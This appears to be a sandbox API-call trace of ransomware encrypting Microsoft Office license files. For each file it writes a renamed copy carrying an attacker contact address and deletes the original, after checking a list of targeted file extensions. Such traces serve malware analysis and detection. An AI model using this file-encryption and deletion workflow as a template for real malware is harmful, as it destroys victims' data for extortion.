	[0194.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0194.794] GetLastError () returned 0x0
	[0194.794] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0194.799] WriteFile (in: hFile=0x478, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0194.800] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.800] WriteFile (in: hFile=0x478, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0194.800] SetEndOfFile (hFile=0x478) returned 1
	[0194.801] CloseHandle (hObject=0x478) returned 1
	[0194.804] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.805] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.809] CloseHandle (hObject=0x5ac) returned 1
	[0194.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1
	[0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.811] lstrlenW (lpString=".doc") returned 4
	[0194.811] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.811] lstrlenW (lpString=".docx") returned 5
	[0194.811] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.812] lstrlenW (lpString=".pdf") returned 4
	[0194.812] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString=".xls") returned 4
	[0194.812] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString=".xlsx") returned 5
	[0194.812] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.812] lstrlenW (lpString=".ppt") returned 4
	[0194.812] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.812] lstrlenW (lpString=".zip") returned 4
	[0194.812] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString=".rar") returned 4
	[0194.812] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString=".bz2") returned 4
	[0194.812] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString=".7z") returned 3
	[0194.812] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.812] lstrlenW (lpString=".dbf") returned 4
	[0194.812] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.812] lstrlenW (lpString=".1cd") returned 4
	[0194.812] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.812] lstrlenW (lpString=".jpg") returned 4
	[0194.812] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.813] lstrlenW (lpString=".doc") returned 4
	[0194.813] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".docx") returned 5
	[0194.813] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.813] lstrlenW (lpString=".pdf") returned 4
	[0194.813] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".xls") returned 4
	[0194.813] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".xlsx") returned 5
	[0194.813] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.813] lstrlenW (lpString=".ppt") returned 4
	[0194.813] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.813] lstrlenW (lpString=".zip") returned 4
	[0194.813] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".rar") returned 4
	[0194.813] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".bz2") returned 4
	[0194.813] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString=".7z") returned 3
	[0194.813] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.813] lstrlenW (lpString=".dbf") returned 4
	[0194.813] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.813] lstrlenW (lpString=".1cd") returned 4
	[0194.813] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0194.814] lstrlenW (lpString=".jpg") returned 4
	[0194.814] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.814] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.814] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30
	[0194.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.814] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10655) returned 1
	[0194.815] CloseHandle (hObject=0x5ac) returned 1
	[0194.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220
	[0194.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.815] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.815] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.817] GetLastError () returned 0x0
	[0194.817] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x299f, lpOverlapped=0x0) returned 1
	[0194.818] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0194.820] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.820] WriteFile (in: hFile=0x5dc, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x110, lpOverlapped=0x0) returned 1
	[0194.820] SetEndOfFile (hFile=0x5dc) returned 1
	[0194.820] CloseHandle (hObject=0x5dc) returned 1
	[0194.820] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.820] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.828] CloseHandle (hObject=0x5ac) returned 1
	[0194.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1
	[0194.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.829] lstrlenW (lpString=".doc") returned 4
	[0194.829] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.829] lstrlenW (lpString=".docx") returned 5
	[0194.829] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.829] lstrlenW (lpString=".pdf") returned 4
	[0194.829] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.829] lstrlenW (lpString=".xls") returned 4
	[0194.829] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.829] lstrlenW (lpString=".xlsx") returned 5
	[0194.829] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.829] lstrlenW (lpString=".ppt") returned 4
	[0194.829] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString=".zip") returned 4
	[0194.830] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString=".rar") returned 4
	[0194.830] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString=".bz2") returned 4
	[0194.830] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString=".7z") returned 3
	[0194.830] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString=".dbf") returned 4
	[0194.830] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString=".1cd") returned 4
	[0194.830] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString=".jpg") returned 4
	[0194.830] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.830] lstrlenW (lpString=".doc") returned 4
	[0194.830] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.830] lstrlenW (lpString=".docx") returned 5
	[0194.830] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.830] lstrlenW (lpString=".pdf") returned 4
	[0194.831] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString=".xls") returned 4
	[0194.831] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString=".xlsx") returned 5
	[0194.831] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.831] lstrlenW (lpString=".ppt") returned 4
	[0194.831] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.831] lstrlenW (lpString=".zip") returned 4
	[0194.831] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString=".rar") returned 4
	[0194.831] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString=".bz2") returned 4
	[0194.831] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString=".7z") returned 3
	[0194.831] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.831] lstrlenW (lpString=".dbf") returned 4
	[0194.831] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.831] lstrlenW (lpString=".1cd") returned 4
	[0194.831] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0194.831] lstrlenW (lpString=".jpg") returned 4
	[0194.831] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.832] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.832] lstrlenW (lpString="HomeBusinessR_Retail-ppd.xrm-ms") returned 31
	[0194.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.833] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=22091) returned 1
	[0194.833] CloseHandle (hObject=0x5ac) returned 1
	[0194.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220
	[0194.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.834] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.834] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.976] GetLastError () returned 0x0
	[0194.976] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x564b, lpOverlapped=0x0) returned 1
	[0194.979] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0194.980] ReadFile (in: hFile=0x5ac, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.980] WriteFile (in: hFile=0x5d8, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x112, lpOverlapped=0x0) returned 1
	[0194.980] SetEndOfFile (hFile=0x5d8) returned 1
	[0194.981] CloseHandle (hObject=0x5d8) returned 1
	[0194.981] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.981] SetEndOfFile (hFile=0x5ac) returned 1
	[0194.984] CloseHandle (hObject=0x5ac) returned 1
	[0194.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1
	[0194.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.988] lstrlenW (lpString=".doc") returned 4
	[0194.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.988] lstrlenW (lpString=".docx") returned 5
	[0194.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.988] lstrlenW (lpString=".pdf") returned 4
	[0194.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.988] lstrlenW (lpString=".xls") returned 4
	[0194.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString=".xlsx") returned 5
	[0194.989] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.989] lstrlenW (lpString=".ppt") returned 4
	[0194.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString=".zip") returned 4
	[0194.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString=".rar") returned 4
	[0194.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString=".bz2") returned 4
	[0194.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString=".7z") returned 3
	[0194.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString=".dbf") returned 4
	[0194.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString=".1cd") returned 4
	[0194.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString=".jpg") returned 4
	[0194.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.989] lstrlenW (lpString=".doc") returned 4
	[0194.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0194.989] lstrlenW (lpString=".docx") returned 5
	[0194.989] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0194.990] lstrlenW (lpString=".pdf") returned 4
	[0194.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString=".xls") returned 4
	[0194.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString=".xlsx") returned 5
	[0194.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0194.990] lstrlenW (lpString=".ppt") returned 4
	[0194.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.990] lstrlenW (lpString=".zip") returned 4
	[0194.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString=".rar") returned 4
	[0194.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString=".bz2") returned 4
	[0194.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString=".7z") returned 3
	[0194.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0194.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.990] lstrlenW (lpString=".dbf") returned 4
	[0194.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.990] lstrlenW (lpString=".1cd") returned 4
	[0194.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81
	[0194.990] lstrlenW (lpString=".jpg") returned 4
	[0194.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.991] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.991] lstrlenW (lpString="HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 35
	[0194.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0194.992] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11613) returned 1
	[0194.992] CloseHandle (hObject=0x5ac) returned 1
